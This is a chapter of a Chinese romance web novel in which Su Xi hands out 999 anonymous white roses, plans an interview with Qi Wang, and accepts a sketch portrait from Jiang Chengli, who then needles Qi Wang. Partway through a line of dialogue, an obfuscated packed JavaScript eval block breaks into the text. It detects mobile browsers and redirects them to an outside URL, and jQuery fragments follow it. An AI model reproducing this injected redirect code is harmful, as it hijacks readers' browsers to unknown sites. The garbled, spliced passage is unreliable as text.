“咚咚——”门被敲响，有人进来，是同组的一位男同事，“苏老师，他们跟我说你在这里。”


    三人转首，就见他拉着小推车，倒退着进来。滚轮在地上发出‘磕磕’声，推车上摆着一大束白玫瑰，蓝色丝绸包装，起码有他两个人粗。


    白玫瑰慢慢在跟前停下。


    “这是？”苏溪问。


    “一楼拿上来的，说是有人指名要送给你。”男同事放下后又盯着玫瑰多看了几眼。


    玫瑰很新鲜，没多一会儿，室内就弥漫了一层浅香。


    花上放了张蓝色卡片，隐约有黑墨字迹，苏溪拿出看了眼，然后重新塞了回去。


    “能麻烦你个事吗？”苏溪问。


    男同事，“不麻烦，你说。”


    “送货的人还在吗？”


    “不在了，到我手里已经好一会儿了。”


    苏溪，“那这些花你给各位同事分了吧。”


    男同事目光一下就愣住了，不确定地问了句，“分了？”


    苏溪，“对，一人一朵，或者随便你们怎么分。”


    男同事试探性开口，并观察苏溪表情，“这是指名给你的。”


    可苏溪面上太稳定了，没有讨厌，也没有喜欢，只淡淡说，“我知道。”


    男同事又看了眼那999朵白玫瑰，“……好的。”


    最后，怎么推进来的，又怎么推了出去。


    占地极大的玫瑰一离开，房间都感觉空了许多。


    苏溪对杨震远说，“那我就带戚妄回办公室去做材料了。”


    杨震远点头，目视两人离去。


    看着被关上的大门，喧闹的室内在瞬间变安静，居然还有点不习惯，默默拿起一旁的浓茶喝了口。


    没过两分钟，“咚咚——”两声敲门声响，还是那位男同事，手里拿着一束花，“杨导，这朵给你啊。”


    杨震远盯着手里多出来的一朵白玫瑰，看再次被带上的门，“……”


    一堆看不出，一朵反而更清晰，花瓣上淋着几滴水珠。凑近了，一股淡淡的香。他低头嗅了下，味道还不错。


    昨天江澄礼说要送礼物给苏溪，总不会，“……”


    杨震远盯着花瓣若有所思。片刻，他摇头，999有点过了，还是白玫瑰，尤其当着这么多人面直接送来电台。


    没多久，他又摇头。


    江澄礼的脑回路不是正常人思考的，说不准。


    /


    电台。


    男同事给每位同事都塞了一朵，路过的，认识的，不认识的，就连台长也有份。


    路过，突然被塞花的江主任，看看花再看看他，“今天…有节日？”


    想了下日期，10月18号，没节啊。


    “不是节日，是一楼快递指明送来给苏老师的。”


    江主任明白了，发出了然般“哦~”的一声。见怪不怪，拿着白玫瑰走了。


    白玫瑰还是很畅销的，连包玫瑰的丝绸也被人拿走当桌布去了。


    ……


    办公室。


    戚妄跟在苏溪身后进去，见她刚坐下，就拿出本子写着什么。


    办公室桌椅都是暗红色，入目最多的是书，整齐堆叠在能看到的柜子，桌上。明明是陌生的环境，戚妄却有种熟悉的感觉，像很多年前的图书馆，静谧，暗红的桌角。


    那天天气和今天一样，晴天无云，就连窗下阳光洒落的位置都一样，照住她半个肩膀。也许好学生，尤其是漂亮的好学生，他们坐姿都很工整，长发披散，垂首写字，微敛的眼睫遮住她的视线，丝毫没有注意到对面人的视线。


    写写停停，又做了删改，苏溪停笔，抬眸。


    眼前人正望着她。


    她在写采访内容的框架，自以为和戚妄彼此熟悉，采访内容肯定足够充分，至少可选择的内容也多，可她想错了。


    视线笔直地望着戚妄，苏溪问，“杨导是觉得你有热度，才想邀请你的。你自己呢？你想接受采访吗？”


    戚妄没有第一时间回答她，过了会儿才说，“我接受。”


    苏溪，“采访会问很多方面，没有播出来，谁也不知道你的一句话会有什么反应。”


    戚妄，“我没问题。”


    苏溪，“你以前接受过采访吗？”


    戚妄摇头，“没有。”


    苏溪沉默两秒，“你不怕？”


    戚妄，“你又不会害我。”


    苏溪微顿，笑了下，放下笔，“居然是我想多了。”


    笔帽勾动垂落的长发，苏溪撩起头发夹在耳后，打开抽屉说，“我一忙起来都差点忘了，你一直干坐着也不嫌无聊。”


    她拿出几个茶包问，“玫瑰，柠檬，普洱，茉莉，黑枸杞，你选一个吧。”


    视线在茶包上一一扫过，戚妄问，“你推荐哪个？”


    苏溪想了想，拿出一个，“茉莉。”


    戚妄，“那就这个。”


    电脑旁放着一个全玻璃的电煮茶，戚妄就见苏溪熟练地放进茶包，又出办公室接了点水回来，煮上。


    “采访，我该做什么？”戚妄问。


    “我们来写脚本，你看看有哪些不乐意的，告诉我就行。”


    “会问得很夸张？”


    苏溪打量他，笑，“还说不怕。”


    戚妄，“……”


    不等苏溪问戚妄夸张指的是具体哪些，许淼淼敲门进来，“苏老师，有人找。”


    苏溪，“哪位？”


    许淼淼，“江澄礼。”


    苏溪诧异，“请他进来。”


    许淼淼离开后，戚妄问，“需要我回避吗？”


    水已经开始冒泡，苏溪拿起拎绳，茶包在热水里迅速滚了两滚。浅黄的茶色，层层荡漾。


    她淡淡说，“不用，你现在也是我的嘉宾。”


    戚妄的视线先是落在苏溪面上，然后是被迫滚动的茶包，最后重新回到她面上。


    玻璃门开启又关上，发出‘咔哒’声。


    江澄礼一身灰色西装出现在办公室里，胳膊上抱着一个用牛皮纸包装的长方形物体，看不出是什么。


    见办公室里还有别人，江澄礼停步，“抱歉，你有客人？”


    苏溪，“没关系，你来是有什么事吗？”


    苏溪对面有两张座椅，一张被人坐了，他只能坐在另外一张。


    身边有人经过，戚妄感觉到了裹挟而来的风。对方落座后俯身，将牛皮纸轻放在脚边，重新直起身时，露出手中被牛皮纸挡住的一朵白玫瑰。


    他将玫瑰放到桌上，见戚妄和苏溪都在看着，解释说，“来的路上，别人给的。”


    暗红色的桌面，白色玫瑰静静躺在上面。


    江澄礼望着苏溪，“听说这些花都是送给苏老师你的。”


    苏溪没有否认，“是有这么回事。”


    江澄礼扫了眼她简洁的办公桌面，“你没给自己留一朵？”


    苏溪摇头，“不认识的，我向来不收。”


    ——向来。


    看来已经不是第一次发生了，江澄礼明了地点点头，重新拿起桌上的白玫瑰，“那这朵我等会儿带走。”


    “苏溪。”清冷的男声忽然响起。


    江澄礼下意识看向身边，从刚才起就一直没有说话的男人。他不紧不慢地喊着苏溪的名字，神情自若，就好像在对待一个再熟悉不过的人，同自己那句‘苏老师’形成绝对反差。


    “水开了，我渴了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14766344|157190||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”他简单直白地说了这么一句，带着熟稔和亲昵。


    苏溪立刻看向水壶，果然已经沸腾，再煮下去味道就太浓了。拿出准备好的纸杯，倒了杯，“烫的，小心点。”


    同样熟稔的语气。


    江澄礼看着面前淡黄色的茶水，居然没忘了他的一份，抿了一口，“谢谢。”


    喝了两口，放下杯子，拿出脚边的牛皮纸物体，放在桌上推给对面的苏溪。


    牛皮纸滑动桌面，发出‘哗哗’摩擦声，占据了半个办公桌。


    还有，和刚才进门，在看到他那朵白玫瑰时，同样聚来的两道视线。


    江澄礼笑了下，“这是谦礼，我们也互相认识，你应该不会不收吧。”


    看着像是‘硬件’，苏溪没碰，问，“谦礼？”


    “对于前天我失礼的道歉。”江澄礼，“放心，不值钱。”


    见苏溪迟疑，他快速补上后一句。


    苏溪接过，物件还挺大，正想找个地方放着，就听江澄礼说，“不拆开看看吗？”


    见苏溪望过来，江澄礼露出友好，不失礼貌的微笑。


    这笑脸，如果不收，他肯定也会找别的说辞。


    苏溪，“……”


    从笔筒里找到剪刀，拆开牛皮纸。


    牛皮纸揭开，逐渐露出内容，一副素描画像。


    画中人一身旗袍，白底兰花，纤细的脚踝，及腰的黑色长卷，半盘发中叉着一粒珍珠流苏发簪，侧身看着远处微笑。


    苏溪看过视频里的自己，却从未在别人的笔下看过这样的自己。明明只有黑白两色，却别样鲜活，惟妙惟肖。


    底部铅笔写着签名和日期，字迹修长：


    To苏溪


    江澄礼2024.11.17


    木框玻璃，戚妄大致明白可能是幅画，可苏溪斜放的角度让他看不到具体画得是什么，能瞧见地只有她面上的怔忪。


    于是，视线转向身侧翘着腿从容喝茶的男人。他也在看着苏溪，却一点不意外她的反应，甚至在欣赏她的反应。


    握着杯子的手不自觉收紧。


    “谢谢，我很喜欢。”苏溪说。


    戚妄见苏溪起身，走向身后的书柜，打开柜子，将画放了进去。


    他终于看清了画像，也看见了苏溪放画时仔细得动作。


    她收下了。


    没有收陌生人的花，却收下了旁边男人的素描画。


    助理许淼淼再次敲响门的同时，也叫走了苏溪，看样子会忙很久。


    两个大男人也不再干坐着，起身出了办公室。


    电台出口，空旷的石砖广场，戚妄正准备走人，背后的男人叫住了他。


    “那些玫瑰是你送的吗？”这位叫江澄礼的男人问。


    戚妄脚步未停，“不是。”


    江澄礼恍然，“哦，差点忘了，苏老师说不认识的人送的，她不收。你和她认识，当然不会是你送的。”


    戚妄顿足，回头，目光直视，“你有事？”


    江澄礼回视，“我没事。”


    戚妄盯着他看了会儿，“她不喜欢收人礼物。”


    江澄礼，“所以？”


    戚妄，“别让她有压力。”


    江澄礼目光露出若有所思，“你是苏老师的……男友？”


    “……不是。”


    “那是？”


    戚妄眉峰一跳，“……弟弟。”


    说完立刻后悔了，他为什么要老实回答。


    “哦~”江澄礼拉长音，笑得从容不迫，“那没事了。”


    戚妄，“……”


    年少时的脏话陡然浮现心口，像是被翻新过，更像是一种觉醒。


    qnmd，想打架？